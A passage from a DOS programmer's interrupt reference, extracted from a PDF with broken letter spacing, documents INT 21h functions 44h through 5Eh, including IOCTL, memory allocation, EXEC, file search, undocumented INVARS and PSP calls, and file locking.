02 wor d l engt h of f ol l owi ng dat a
04 wor d cont r ol f l ags
bi t 0 set f or bl i nk, cl ear f or i nt ensi t y
bi t s 1 t o 15 r eser ved
06 byt e mode t ype ( 1=t ext , 2=gr aphi cs)
07 byt e r eser ved
08 wor d col or s; 0=monochr ome, n=bi t s per pi xel
0A wor d pi xel col umns
0C wor d pi xel r ows
0E wor d char act er col umns
10 wor d char act er r ows

DS: DX = poi nt er t o i t er at i on count wor d ( DOS 3. 2)
= poi nt er t o par amet er bl ock ( DOS 3. 3)


on r et ur n
AX = er r or code i f CF set ( see ~DOS ERROR CODES~)


- i t er at i on count wor d speci f i es t he number of t i mes t o r et r y
an oper at i on bef or e abor t i ng
- DOS 3. 3 changed t hi s f unct i on t o handl e code page swi t chi ng
- i mpl ement ed f r omDOS 3. 2
- DOS 4. x adds suppor t f or doubl e byt e char act er s
- see I BM DOS Techni cal Ref er ence Manual f or mor e det ai l s

: i nt 21, 44, d: I OCTL, d
^I NT 21, 44, D / I OCTL, D - Gener i c I / O f or Bl ock Devi ces

AH = 44h
AL = 0D
Pagina 935 di 991
BL = dr i ve number ( 0=def aul t , 1=A: , 2=B: , 3=C: , . . . )
CH = devi ce t ype
= 08 f or di sk dr i ve ( bl ock devi ce)
CL = mi nor f unct i on code
= 40 set devi ce par amet er s
= 41 wr i t e t r ack on l ogi cal devi ce
= 42 f or mat / ver i f y t r ack on l ogi cal dr i ve
= 47 set access f l ag ( DOS 4. x)
= 60 get devi ce par amet er s
= 61 r ead t r ack on l ogi cal devi ce
= 62 ver i f y t r ack on l ogi cal dr i ve
= 67 get access f l ag ( DOS 4. x)
DS: DX = poi nt er t o par amet er bl ock


on r et ur n
AX = er r or code i f CF set ( see ~DOS ERROR CODES~)


- pr ovi des devi ce i ndependent pr i mi t i ve cont r ol oper at i ons
- i mpl ement ed f r omDOS 3. 2
- see I BM DOS Techni cal Ref er ence Manual f or mor e det ai l s

: i nt 21, 44, e: I OCTL, e
^I NT 21, 44, E / I OCTL, E - Get Logi cal Dr i ve


AH = 44h
AL = 0E
BL = physi cal dr i ve number ( 0=def aul t , 1=A: , 2=B: , 3=C: , . . . )


on r et ur n
AX = er r or code i f CF set ( see ~DOS ERROR CODES~)
AL = l ogi cal dr i ve number assi gned t o physi cal dr i ve
= 0 i f dr i ve accessed by onl y one dr i ve speci f i er
= 1 i f dr i ve A: , 2 i f dr i ve B: , et c


- used t o det er mi ne t he l ast dr i ve desi gnat or used t o access
a dr i ve i f mor e t han one l ogi cal dr i ve desi gnat i on appl i es
t o a devi ce
- i mpl ement ed f r omDOS 3. 2

: i nt 21, 44, f : I OCTL, f
^I NT 21, 44, F / I OCTL, F - Set Logi cal Dr i ve


AH = 44h
AL = 0F
BL = new dr i ve number ( 0=def aul t , 1=A: , 2=B: , 3=C: , . . . )


on r et ur n
AX = er r or code i f CF set ( see ~DOS ERROR CODES~)
AL = l ogi cal dr i ve number ( shoul d be equal t o BL i nput )
= 0 i f dr i ve accessed by onl y one dr i ve speci f i er
= 1 i f dr i ve A: , 2 i f dr i ve B: , et c



- changes t he l ogi cal dr i ve desi gnat or of t he physi cal dr i ve
t o be accessed next
Pagina 936 di 991
- i mpl ement ed f r omDOS 3. 2

: i nt 21, 45
^I NT 21, 45 - Dupl i cat e Fi l e Handl e


AH = 45h
BX = f i l e handl e


on r et ur n:
AX = new f i l e handl e i f CF not set
= er r or code i f CF set ( see ~DOS ERROR CODES~)


- get s anot her f i l e handl e f or t he same f i l e
- bot h f i l e handl es move i n uni son
- of t en used t o f l ush f i l e dat a and updat e a f i l e di r ect or y
ent r y wi t hout cl osi ng t he i ni t i al f i l e

: i nt 21, 46
^I NT 21, 46 - For ce Dupl i cat e Fi l e Handl e


AH = 46h
BX = exi st i ng f i l e handl e
CX = second f i l e handl e


on r et ur n:
AX = er r or code i f CF set ( see ~DOS ERROR CODES~)


- i f f i l e handl e i n CX i s cur r ent l y open, cur r ent f i l e
i dent i f i ed by CX i s cl osed and t he handl e i n BX i s
dupped and pl aced i n CX
- af t er dupi ng f i l e handl es move t oget her t hr ough f i l e
- si mi l ar t o ~I NT 21, 45~

: i nt 21, 47
^I NT 21, 47 - Get Cur r ent Di r ect or y


AH = 47h
DL = dr i ve number ( 0 = def aul t , 1 = A: )
DS: SI = poi nt er t o a 64 byt e user buf f er


on r et ur n:
DS: SI = poi nt er ASCI I Z di r ect or y pat h st r i ng
AX = er r or code i f CF set ( see ~DOS ERROR CODES~)


- r et ur ns t he cur r ent di r ect or y r el at i ve t o t he r oot di r ect or y
- t he l eadi ng sl ash " \ " and dr i ve desi gnat or ar e omi t t ed

: i nt 21, 48
^I NT 21, 48 - Al l ocat e Memor y

AH = 48h
BX = number of memor y par agr aphs r equest ed


Pagina 937 di 991
on r et ur n:
AX = segment addr ess of al l ocat ed memor y bl ock ( MCB + 1par a)
= er r or code i f CF set ( see ~DOS ERROR CODES~)
BX = si ze i n par as of t he l ar gest bl ock of memor y avai l abl e
i f CF set , and AX = 08 ( Not Enough Mem)
CF = 0 i f successf ul
= 1 i f er r or


- r et ur ns segment addr ess of al l ocat ed memor y bl ock AX: 0000
- each al l ocat i on r equi r es a 16 byt e over head f or t he ~MCB~
- r et ur ns maxi mumbl ock si ze avai l abl e i f er r or

- see ~I NT 21, 49~, ~I NT 21, 4A~
: i nt 21, 49
^I NT 21, 49 - Fr ee Al l ocat ed Memor y


AH = 49h
ES = segment of t he bl ock t o be r et ur ned ( ~MCB~ + 1par a)


on r et ur n:
AX = er r or code i f CF set ( see ~DOS ERROR CODES~)


- r el eases memor y and MCB al l ocat ed by ~I NT 21, 48~
- may cause unpr edi ct abl e r esul t s i s memor y wasn' t al l ocat ed usi ng
I NT 21, 48 or i f memor y wasn' t al l ocat ed by t he cur r ent pr ocess
- checks f or val i d MCB i d, but does NOT check f or pr ocess owner shi p
- car e must be t aken when f r eei ng t he memor y of anot her pr ocess, t o
assur e t he segment i sn' t i n use by a TSR or I SR
- t hi s f unct i on i s unr el i abl e i n a TSR once r esi dent , si nce
COMMAND. COM and many ot her . COM f i l es t ake al l avai l abl e memor y
when t hey l oad
- see I NT 21, 4A
: i nt 21, 4a
^I NT 21, 4A - Modi f y Al l ocat ed Memor y Bl ock ( SETBLOCK)


AH = 4A
BX = new r equest ed bl ock si ze i n par agr aphs
ES = segment of t he bl ock ( ~MCB~ + 1 par a)


on r et ur n:
AX = er r or code i f CF set ( see ~DOS ERROR CODES~)
BX = maxi mumbl ock si ze possi bl e, i f CF set and AX = 8


- modi f i es memor y bl ocks al l ocat ed by ~I NT 21, 48~
- can be used by pr ogr ams t o shr i nk or i ncr ease t he si ze
of al l ocat ed memor y
- PC- DOS ver si on 2. 1 and DOS 3. x wi l l act ual l y al l ocat e t he l ar gest
avai l abl e bl ock i f CF i s set . BX wi l l equal t he si ze al l ocat ed.
- see al so ~I NT 21, 49~
: i nt 21, 4b: exec f unct i on
^I NT 21, 4B - EXEC/ Load and Execut e Pr ogr am

AH = 4B
AL = 00 t o l oad and execut e pr ogr am
= 01 ( Undocument ed) cr eat e pr ogr amsegment pr ef i x and l oad
pr ogr am, but don' t execut e. The CS: I P and SS: SP of t he
Pagina 938 di 991
pr ogr ami s pl aced i n par amet er bl ock. Used by debugger s
= 03 l oad pr ogr amonl y
= 04 cal l ed by MSC spawn( ) when P_NOWAI T i s speci f i ed
DS: DX = poi nt er t o an ASCI I Z f i l ename
ES: BX = poi nt er t o a par amet er bl ock


on r et ur n:
AX = er r or code i f CF set ( see ~DOS ERROR CODES~)
ES: BX = when AL=1, poi nt er t o par amet er bl ock si mi l ar t o:

% Of f set Si ze Descr i pt i on

00 wor d when AL=1, segment of env. or zer o i f usi ng par ent s env.
wor d when AL=3, segment of l oad poi nt f or over l ay
02 dwor d when AL=1, poi nt er t o cmd l i ne at PSP 80h
wor d when AL=3, r el ocat i on f act or f or EXE over l ay
06 dwor d poi nt er t o def aul t ~FCB~ passed at ~PSP~ 5Ch
0A dwor d poi nt er t o def aul t FCB passes at PSP 6Ch
0E dwor d val ue of pr ogr amSS: SP
12 dwor d val ue of pr ogr amCS: I P


- al l ows execut i on of an ext er nal pr ogr amas wel l as over l ay
management f r omwi t hi n an appl i cat i on
- al l r egi st er s except CS and I P ar e dest r oyed
- SS and SP shoul d be pr eser ved i n code segment bef or e cal l
si nce a bug i n DOS ver si on 2. x dest r oys t hese
- r et ur n code can be r et r i eved i f chi l d pr ocess exi t s vi a ~I NT 21, 4C~
- cal l i ng pr ocess must assur e pr esence of enough unal l ocat ed memor y
- subf unct i on 4 r et ur ns wi t h an er r or under DOS 4. x+
- cal l s ~I NT 21, 55~

- see al so ~I NT 21, 26~

: i nt 21, 4c
^I NT 21, 4C - Ter mi nat e Pr ocess Wi t h Ret ur n Code


AH = 4C
AL = r et ur n code ( f or bat ch f i l es)


r et ur ns not hi ng


- appr oved met hod of pr ogr amt er mi nat i on
- r est or es t he t er mi nat e, ~Ct r l - Br eak~, and cr i t i cal er r or exi t
addr esses, f l ushes al l buf f er s, f r ees memor y and r et ur ns t o
DOS vi a t he t er mi nat i on handl er addr ess
- does not cl ose FCBs
- t hi s f unct i on i s not suppor t ed i n ver si ons of DOS bef or e 2. x,
so use ~I NT 21, 0~ or ~I NT 20~ t o exi t .


- see al so ~I NT 27~ ~I NT 21, 31~

: i nt 21, 4d
^I NT 21, 4D - Get Ret ur n Code of Sub- pr ocess


AH = 4D

Pagina 939 di 991

on r et ur n:
AH = syst emexi t code ( i ndi cat es nor mal t er mi nat i on)
= 00 f or nor mal t er mi nat i on
= 01 i f t er mi nat ed by ct l - br eak
= 02 i f cr i t i cal devi ce er r or
= 03 i f t er mi nat ed by ~I NT 21, 31~
AL = chi l d exi t code


- r et r i eve chi l d pr ocess and syst emexi t codes
- t hi s f unct i on can onl y be used t o r et r i eve t he exi t code once
mul t i pl e at t empt s t o r ead exi t codes wi l l cause er r or s

: i nt 21, 4e
^I NT 21, 4E - Fi nd Fi r st Mat chi ng Fi l e

AH = 4E
CX = at t r i but e used dur i ng sear ch ( see ~FI LE ATTRI BUTES~)
DS: DX = poi nt er t o ASCI I Z f i l espec, i ncl udi ng wi l dcar ds


on r et ur n:
AX = er r or code i f CF set ( see ~DOS ERROR CODE~)
~DTA~ = dat a r et ur ned f r omcal l i n t he f or mat :

% Of f set Si ze Descr i pt i on

00 byt e at t r i but e of sear ch ( undocument ed)
byt e dr i ve l et t er used i n sear ch ( DOS 3. 1- 4. x, undocument ed)
01 byt e dr i ve l et t er used i n sear ch ( undocument ed)
11byt es sear ch name used ( DOS 3. 1- 4. x, undocument ed)
02 11byt es sear ch name used ( undocument ed)
0C byt e at t r i but e of sear ch ( DOS 3. 1- 4. x, undocument ed)
0D wor d di r ect or y ent r y number ( 0 based, undocument ed)
0F wor d st ar t i ng cl ust er number of cur r ent di r ect or y; zer o
f or r oot di r ect or y ( DOS 3. 2+, undocument ed)
dwor d poi nt er t o DTA ( DOS 2. x- 3. 1, undocument ed)
11 wor d r eser ved
13 wor d st ar t i ng cl ust er number of cur r ent di r ect or y; zer o
f or r oot di r ect or y ( DOS 2. x+, undocument ed)
15 byt e at t r i but e of mat chi ng f i l e
16 wor d f i l e t i me ( see ~FI LE ATTRI BUTES~)
18 wor d f i l e dat e ( see FI LE ATTRI BUTES)
1A wor d f i l e si ze
1E 13byt es ASCI I Z f i l ename and ext ensi on i n t he f or mNAME. EXT
wi t h bl anks st r i pped

- r et ur ns i nf or mat i on on f i r st f i l e mat chi ng speci f i cat i ons
- use ~I NT 21, 4F~ t o r et r i eve f ol l owi ng f i l e mat ches
- DOS 2. x cannot f i nd . and . . ent r i es, whi l e DOS 3. x can unl ess
t hey r epr esent t he r oot di r ect or y
- char act er devi ces r et ur n a zer o f or si ze, t i me and dat e i n DOS 2. x,
whi l e DOS 3. 0 r et ur ns a 40h at t r i but e and cur r ent t i me and dat e.
- mul t i pl e cal l s t o t hi s f unct i on wi t h a char act er devi ce wi l l
r esul t i n unpr edi ct abl e r esul t s
- nor mal f i l es ar e al ways i ncl uded al ong wi t h f i l es t hat mat ch t he
r equest ed at t r i but es except when t he LABEL at t r i but e i s r equest ed.
DOS 2. x r et ur ns al l nor mal f i l es when l abel i s speci f i ed but 3. x
doesn' t . I t ' s up t o t he pr ogr ammer t o det er mi ne whi ch act ual l y
mat ch t he r equest ed at t r i but es.
- bi t 8 of CX ( f i l e at t r i but es) i ndi cat es Novel l Net war e shar eabl e
- see I NT 21, 1A
Pagina 940 di 991

: i nt 21, 4f
^I NT 21, 4F - Fi nd Next Mat chi ng Fi l e


AH = 4F
DS: DX = unchanged f r ompr evi ous f unct i on 4E


on r et ur n:
AX = er r or code i f CF set ( see ~DOS ERROR CODES~)


- ~I NT 21, 4E~ shoul d be cal l ed t o f i nd t he f i r st f i l e and t hi s
f unct i on shoul d be cal l ed t o f i nd al l ot her mat chi ng f i l es
- nor mal f i l es ar e al ways i ncl uded al ong wi t h f i l es t hat mat ch
t he r equest ed at t r i but es except when t he LABEL at t r i but e i s
r equest ed. I t ' s up t o t he pr ogr ammer t o det er mi ne whi ch
act ual l y mat ch t he r equest ed at t r i but es.
- see ~I NT 21, 1A~ ~DTA~ ~FI LE ATTRI BUTES~

: i nt 21, 50
^I NT 21, 50 - Set Cur r ent Pr ocess I D ( Undocument ed DOS 2. x)


AH = 50h
BX = pr ocess I D number ( pr ocess ~PSP~ segment addr ess)


r et ur ns not hi ng


- t he pr ocess I D number i s act ual l y t he segment addr ess of a
pr ogr am' s PSP. Thi s i s usef ul f or TSR' s t o access t hei r own
f i l e handl e t abl e i nsi de t hei r PSP.
- t hi s f unct i on cannot be cal l ed whi l e i n an ~I NT 28~ handl er i n
DOS 2. x unl ess t he cr i t i cal er r or f l ag i s set or st ack cor r upt i on
wi l l occur
- saf e i n DOS 3. x I NT 28 handl er s si nce t hey use a di f f er ent st ack
by def aul t
- avai l abl e i n OS/ 2 compat i bi l i t y box
- see ~I NT 21, 51~ ~I NT 21, 62~

: i nt 21, 51
^I NT 21, 51 - Get Cur r ent Pr ocess I D ( Undocument ed DOS 2. x)

AH = 51h

on r et ur n:
BX = pr ocess I D


- The pr ocess I D number i s act ual l y t he segment addr ess of pr ogr am' s
PSP. Thi s i n conj unct i on wi t h ~I NT 21, 50~ i s usef ul f or TSR' s t o
access t hei r own f i l e handl e t abl e i n t hei r r espect i ve ~PSP~.
- t hi s f unct i on cannot be cal l ed whi l e i n an ~I NT 28~ handl er i n
DOS 2. x unl ess t he cr i t i cal er r or f l ag i s set or st ack cor r upt i on
wi l l occur
- ~I NT 21, 62~ i s hi ghl y r ecommended f or DOS 3. x due t o a possi bl e bug
when act i vat ed f r oma TSR. DOS may swi t ch t o t he wr ong i nt er nal
st ack whi ch may cause a pr obl ems wi t h TSR' s i f cal l ed dur i ng an
I NT 28.
- see I NT 21, 62 ( Get PSP segment ) f or DOS 3. x appl i cat i ons
Pagina 941 di 991
: i nt 21, 52: I NVARS
^I NT 21, 52 - Get Poi nt er t o DOS " I NVARS" ( Undocument ed)

AH = 52h

on r et ur n:
ES: BX = poi nt er t o DOS " i nvar s" , a t abl e of poi nt er s used by DOS.
Known " i nvar s" f i el ds f ol l ow ( var i es wi t h DOS ver si on) :

% Of f set Si ze Descr i pt i on

- 12 wor d shar i ng r et r y count ( DOS 3. 1- 3. 3)
- 10 wor d shar i ng r et r y del ay ( DOS 3. 1- 3. 3)
- 8 dwor d poi nt er t o cur r ent di sk buf f er ( DOS 3. x)
- 4 wor d poi nt er i n DOS code segment of unr ead CON i nput ;
0 i ndi cat es no unr ead i nput ( DOS 3. x)
- 2 wor d segment of f i r st Memor y Cont r ol Bl ock ( ~MCB~)
00 dwor d poi nt er t o f i r st ~DRI VE PARAMETER TABLE~ ( A: ) i n chai n
04 dwor d poi nt er t o DOS ~Syst emFi l e Tabl e~ ( SFT)
08 dwor d poi nt er t o $CLOCK devi ce dr i ver
0C dwor d poi nt er t o CON devi ce dr i ver
10 byt e number of l ogi cal dr i ves i n syst em
11 wor d maxi mumbyt es/ bl ock of any bl ock devi ce
13 dwor d poi nt er t o DOS cache buf f er header
17 18byt es NUL devi ce header , f i r st 4 byt es of devi ce header
poi nt t o t he next devi ce i n devi ce chai n


^DOS 3. 0 Speci f i c I nf or mat i on

% Of f set Si ze Descr i pt i on

10 byt e number of bl ock devi ces
11 wor d max sect or si ze used by DOS pr i or t o l oadi ng bl ock
devi ce dr i ver s; l i mi t s al l owabl e devi ce sect or si ze
13 dwor d poi nt er t o DOS cache buf f er header
17 dwor d poi nt er t o dr i ve i nf or mat i on t abl e
1B byt e val ue of LASTDRI VE command i n CONFI G. SYS
1C dwor d poi nt er t o STRI NG= wor kspace ar ea
20 wor d si ze of STRI NG ar ea ( CONFI G. SYS val ue of STRI NG=x)
22 dwor d ~FCB~ f i l e t abl e poi nt er
26 wor d number of pr ot ect ed FCBs
28 18byt es NUL devi ce header , f i r st 4 byt es of devi ce header
poi nt t o t he next devi ce i n devi ce chai n


^DOS 3. 1- 3. 3 Speci f i c I nf or mat i on

% Of f set Si ze Descr i pt i on

10 wor d max sect or si ze used by DOS pr i or t o l oadi ng bl ock
devi ce dr i ver s; l i mi t s al l owabl e devi ce sect or si ze
12 dwor d poi nt er t o DOS cache buf f er header
16 dwor d poi nt er t o dr i ve i nf or mat i on t abl e
1A dwor d ~FCB~ f i l e t abl e poi nt er
1E wor d number of pr ot ect ed FCBs
20 byt e number of bl ock devi ces
21 byt e val ue of LASTDRI VE command i n CONFI G. SYS
22 18byt es NUL devi ce header , f i r st 4 byt es of devi ce header
poi nt t o t he next devi ce i n devi ce chai n
34 byt e number of J OI N' ed dr i ves


Pagina 942 di 991
^DOS 4. x Speci f i c I nf or mat i on

% Of f set Si ze Descr i pt i on

10 wor d max sect or si ze used by DOS pr i or t o l oadi ng bl ock
devi ce dr i ver s; l i mi t s al l owabl e devi ce sect or si ze
12 dwor d poi nt er t o DOS cache buf f er header
16 dwor d poi nt er t o dr i ve i nf or mat i on t abl e
1A dwor d FCB f i l e t abl e poi nt er
1E wor d number of pr ot ect ed FCBs
20 byt e number of bl ock devi ces
21 byt e val ue of LASTDRI VE command i n CONFI G. SYS ( def aul t 5)
22 18byt es NUL devi ce header , f i r st 4 byt es of devi ce header
poi nt t o t he next devi ce i n devi ce chai n
34 byt e number of j oi ned dr i ves
35 wor d poi nt er wi t hi n I BMDOS code segment t o l i st of speci al
pr ogr amnames
37 dwor d poi nt er t o r esi dent I FS ut i l i t y f unct i on
3B dwor d poi nt er t o chai n of i nst al l abl e f i l e syst emdr i ver s
3F wor d t he x i n BUFFERS x, y ( r ounded up t o mul t i pl e of 30
i f EMS i s used)
41 wor d t he y i n BUFFERS x, y
43 byt e boot dr i ve ( 1=A: )
44 byt e ???
45 byt e ext ended memor y si ze i n K byt es


- see ~Bi bl i ogr aphy~ r ef er ences f or Ber nd Schemmer & " Undocument ed DOS"
- see ~I NDOS~ ~I NT 21, 5D~
: i nt 21, 53
^I NT 21, 53 - Gener at e Dr i ve Par amet er Tabl e ( Undocument ed)


AH = 53h
DS: SI = addr ess of BI OS Par amet er Bl ock ( ~BPB~)
ES: BP = poi nt er t o buf f er t o hol d f i r st Dr i ve Par amet er Tabl e ( ~DPT~)


r et ur ns:
ES: BP = poi nt er t o buf f er cont ai ni ng t he f i r st Dr i ve Par amet er Tabl e
i n chai n


- avai l abl e si nce DOS 2. 0+
- t r ansl at es BPB i nt o a DOS Di sk Par amet er Tabl e
- see ~I NT 21, 32~ ~I NT 21, 52~
: i nt 21, 54
^I NT 21, 54 - Get Ver i f y Set t i ng


AH = 54h


on r et ur n:
AL = 00 ver i f y of f
= 01 ver i f y on


- r et ur ns val ue of di sk r ead af t er wr i t e ver i f i cat i on f l ag

- see ~I NT 21, 2E~

: i nt 21, 55
Pagina 943 di 991
^I NT 21, 55 - Cr eat e New PSP ( Undocument ed)

AH = 55h
DX = New PSP segment addr ess
SI = memor y si ze val ue t o pl ace i n ~PSP~ of f set 02h ( DOS 3+)

r et ur ns not hi ng

- t he f ol l owi ng shoul d be obser ved when usi ng t hi s f unct i on

o Al l ocat e memor y f or t he PSP and pr ogr amcode ( ~I NT 21, 48~)
o Dupl i cat e t he PSP ( ~I NT 21, 55~)
o Load pr ogr amcode i nt o al l ocat ed segment above t he new PSP
o Save Cur r ent PSP
o Set PSP t o t he PSP j ust cr eat ed ( ~I NT 21, 50~)
o J ump t o st ar t of code i f . COM ot her wi se handl e r el ocat i on,
set up st ack and r egi st er s

- si mi l ar t o ~I NT 21, 26~ except t he PSP i s set up by DOS
- i ncr ement s r ef er ence count i n ~SFT~ f or al l i nher i t ed f i l es
- f i l es f l agged as not i nher i t abl e ar e mar ked as cl osed i n t he
new PSP
- i nvoked by ~I NT 21, 4B~

- see ~UNDOC~ ~I NT 21, 4B~ ~I NT 21, 26~
: i nt 21, 56
^I NT 21, 56 - Rename Fi l e


AH = 56h
DS: DX = poi nt er t o ol d ASCI I Z pat h/ f i l ename
ES: DI = poi nt er t o new ASCI I Z pat h/ f i l ename


on r et ur n:
AX = er r or code i f CF set ( see ~DOS ERROR CODES~)


- suppor t s f ul l pat hnames and al l ows r enami ng f i l es acr oss
di r ect or i es and i n DOS 3. x al l ows r enami ng subdi r ect or i es
- does not suppor t use of wi l dcar ds unl ess i nvoked f r omvi a
~I NT 21, 5D~ i n whi ch case er r or code 12h i s r et ur ned
- unpr edi ct abl e r esul t may occur i f an opened f i l e i s r enamed
- see ~Bi bl i ogr aphy~ r ef er ence t o " Undocument ed DOS"
: i nt 21, 57
^I NT 21, 57 - Get / Set Fi l e Dat e and Ti me Usi ng Handl e

AH = 57h
AL = 00 get dat e and t i me
= 01 set dat e and t i me
= 02 ??? ( DOS 4. 0+ undocument ed)
= 03 ??? ( DOS 4. 0+ undocument ed)
= 04 ??? ( DOS 4. 0+ undocument ed)
BX = f i l e handl e
CX = t i me t o set ( i f set t i ng)
DX = dat e t o set ( i f set t i ng)
ES: DI = poi nt er t o buf f er t o cont ai n r esul t s


on r et ur n:
AX = er r or code i f CF set ( see ~DOS ERROR CODES~)
CX = f i l e t i me ( i f r eadi ng, see bel ow)
DX = f i l e dat e ( i f r eadi ng, see bel ow)
Pagina 944 di 991

% Ti me encodi ng:

F E D C B A 9 8 7 6 5 4 3 2 1 0 Ti me i n CX
t wo second i ncr ( 0- 29)
mi nut es 0- 59)
hour s ( 0- 29)

% Dat e Encodi ng

F E D C B A 9 8 7 6 5 4 3 2 1 0 Dat e i n DX
day ( 1- 31)
mont h ( 1- 12)
year - 1980
: i nt 21, 58
^I NT 21, 58 - Get / Set Memor y Al l ocat i on St r at egy
^( Undocument ed, DOS 3. x)

AH = 58h
AL = 00 get st r at egy code
= 01 set st r at egy code
BX = st r at egy code ( when AL = 01)
= 00 f i r st f i t ( def aul t )
= 01 best f i t
= 02 l ast f i t

on r et ur n:
AX = st r at egy code i f CF cl ear
= er r or i f CF set , see ~DOS ERROR CODES~


- def aul t s t o f i r st f i t , f i r st bl ock l ar ge enough i s chosen
- i n f i r st f i t , DOS sear ches t he ~MCB~ chai n f r oml ow addr esses t o
hi gh f or t he f i r st bl ock l ar ge enough t o f i l l t he r equest . For
best f i t , DOS sear ches al l memor y bl ocks f or t he cl osest f i t .
I n l ast f i t , DOS st ar t s at hi gh addr esses and wor ks downwar d
and uses t he hi gh par t of t he chosen bl ock
- any st r at egy val ue gr eat er t han 2 def aul t s t o 2, but t he l ast val ue
set , even i f i ncor r ect , i s t he val ue r et ur ned by t he get st r at egy
: i nt 21, 59
^I NT 21, 59 - Get Ext ended Er r or I nf or mat i on ( DOS 3. 0+)

AH = 59h
BX = 00 f or ver si ons 3. 0, 3. 1, 3. 2


on r et ur n:
AX = ext ended er r or code ( see ~DOS ERROR CODES~)
= 0 i f no er r or
BH = er r or cl ass
BL = suggest ed act i on
CH = l ocus


- may be cal l ed af t er any ~I NT 21~ f unct i on or f r om
~I NT 24~ when an er r or i s r et ur ned
- must be cal l ed i mmedi at el y af t er t he er r or occur s
- r egi st er s CX, DX, DI , SI , BP, DS and ES ar e dest r oyed
: i nt 21, 5a
^I NT 21, 5A - Cr eat e Tempor ar y Fi l e ( DOS 3. 0+)


AH = 5A
Pagina 945 di 991
CX = at t r i but e
DS: DX = poi nt er t o ASCI I Z pat h endi ng i n ' \ '


on r et ur n:
AX = handl e i f cal l CF cl ear
= er r or code i f CF set ( see ~DOS ERROR CODES~)
DS: DX = poi nt er t o updat ed ASCI I Z f i l espec


- cr eat es f i l es wi t h r andomnames wi t h any combi nat i on of
t he f ol l owi ng at t r i but es: nor mal , syst emand hi dden
- endi ng backsl ash i s r equi r ed

: i nt 21, 5b
^I NT 21, 5B - Cr eat e Fi l e ( DOS 3. 0+)


AH = 5B
CX = at t r i but e
DS: DX = poi nt er t o ASCI I Z pat h/ f i l ename


on r et ur n:
AX = handl e i f CF not set
= er r or code i f CF set ( see ~DOS ERROR CODES~)


- st andar d met hod of openi ng f i l es
- r et ur ns a f i l e handl e of a f i l e opened wi t h speci f i ed
at t r i but es ( combi nat i ons of nor mal , syst emand hi dden)

: i nt 21, 5c
^I NT 21, 5C - Lock/ Unl ock Fi l e Access ( DOS 3. 0+)

AH = 5C
AL = 00 l ock f i l e
= 01 unl ock f i l e
BX = f i l e handl e
CX = most si gni f i cant wor d of r egi on of f set
DX = l east si gni f i cant wor d of r egi on of f set
SI = most si gni f i cant wor d of r egi on l engt h
DI = l east si gni f i cant wor d of r egi on l engt h


on r et ur n:
AX = er r or code i f CF set ( see ~DOS ERROR CODES~)


- used f or net wor ki ng and mul t i - t aski ng syst emt o pr eser ve
dat a i nt egr i t y
- dupl i cat ed handl es i nher i t access t o l ocked r egi ons
- EXEC' d pr ogr ams do not i nher i t access t o l ocked r egi ons
: i nt 21, 5d
^I NT 21, 5D - Cr i t i cal Er r or I nf or mat i on ( Undocument ed, DOS 3. x+)

% See second r ef er ence bel ow f or mor e i nf or mat i on about t hi s i nt er r upt
% i nf or mat i on pr esent ed her e i s i ncompl et e

AH = 5D
AL = 00 ser ver f unct i on cal l ( DOS 3. 1+)
= 01 commi t al l f i l es ( DOS 3. 1+)
= 02 SHARE: cl ose f i l e by name ( DOS 3. 1+)
Pagina 946 di 991
= 03 SHARE: cl ose al l f i l es f or gi ven comput er ( DOS 3. 1+)
= 04 SHARE: cl ose al l f i l es f or gi ven pr ocess ( DOS 3. 1+)
= 05 SHARE: get open f i l e l i st ent r y ( DOS 3. 1+)
= 06 get addr ess of DOS swappabl e ar ea i nt o DS: SI ( DOS 3. 0+)
= 07 get net wor k r edi r ect ed pr i nt er mode ( DOS 3. 1+)
= 08 set net wor k r edi r ect ed pr i nt er mode ( DOS 3. 1+)
= 09 f l ush net wor k r edi r ect ed pr i nt er out put ( DOS 3. 1+)
= 0A set ext ended er r or i nf or mat i on ( DOS 3. 1+)
= 0B get DOS swappabl e dat a ar eas ( DOS 4. x+)
DS: DX = poi nt er t o 18 byt e DOS Par amet er Li st ( DPL, i f AL=00)
= poi nt er t o 9 byt e dat a bl ock of t he f or m( AL=0A) :

% Of f set Si ze Descr i pt i on

00 wor d ext ended er r or code t o set
02 dwor d poi nt er t o dr i ver addr ess t o set
06 byt e act i on code t o set
07 byt e cl ass code t o set
08 byt e l ocus code t o set

on r et ur n:
DS: SI = ( i f AL was 6) addr ess of cr i t i cal f l ag of t he f or m:

% Of f set Si ze Descr i pt i on

00 wor d ext ended er r or code
02 byt e act i on code
03 byt e cl ass code
04 byt e poi nt er t o dr i ver addr ess

- f unct i on 0 copi es 18 byt es f r omDS: SI t o t he DOS i nt er nal
r egi st er - save ar ea; t hi s dat a wi l l be pl aced i n t he r egi st er s
when DOS r et ur ns t o t he cal l er t her eby ci r cumvent i ng t he DOS
r egi st er save l ogi c
- may be used by a TSR t o pr event acci dent al changi ng of an er r or
code and causi ng pr obl ems i n t he f or egr ound pr ocess
- see ~bi bl i ogr aphy~ r ef er ences f or " Undocument ed DOS" and " DOS
Pr ogr ammer s Ref er ence"

- see ~I NT 21, 59~
: i nt 21, 5e
^I NT 21, 5E AL=0 Get Machi ne Name ( DOS 3. 1+)

AH = 5E
AL = 00 get machi ne name
DS: DX = f ar poi nt er t o buf f er r ecei vi ng name st r i ng


on r et ur n:
AX = er r or code i f CF set , ( i nval i d f unct i on)
CH = 0 i f name not def i ned
> 0 i f name def i ned
CL = NETBI OS name number , i f CH not 0
DS: DX = f ar poi nt er t o buf f er cont ai ni ng st r i ng i f CH not 0


- r et ur ns poi nt er t o an ASCI I Z st r i ng i dent i f yi ng t he
comput er on a Mi cr osof t net wor k
- out put st r i ng i s a 15 byt es l ong, padded wi t h bl anks and
nul l t er mi nat ed
- unpr edi ct abl e i f cal l ed wi t hout f i l e shar i ng l oaded


Pagina 947 di 991
^I NT 21, 5E AL=01 Set Machi ne Name ( DOS 3. 1+)

AH = 5E
AL = 01 set machi ne name
CH = 00 undef i ne name
= any ot her val ue means t o def i ne name
CL = name number
DS: DX = poi nt er t o 15 byt e, bl ank padded ASCI I Z name st r i ng


on r et ur n:
AX = er r or code i f CF set , ( i nval i d f unct i on)


- speci f i es t he net wor k machi ne name on a Mi cr osof t net wor k
- unpr edi ct abl e i f cal l ed wi t hout f i l e shar i ng l oaded


^I NT 21, 5E AL=02 Set Pr i nt er Set up ( DOS 3. 1+)


AH = 5E
AL = 02 set pr i nt er set up
BX = r edi r ect i on l i st i ndex ( see ~I NT 21, 5F~ AL=2)
CX = l engt h of set up st r i ng
DS: SI = f ar poi nt er t o pr i nt er set up st r i ng


on r et ur n:
AX = er r or code i f CF set , ( i nval i d f unct i on)


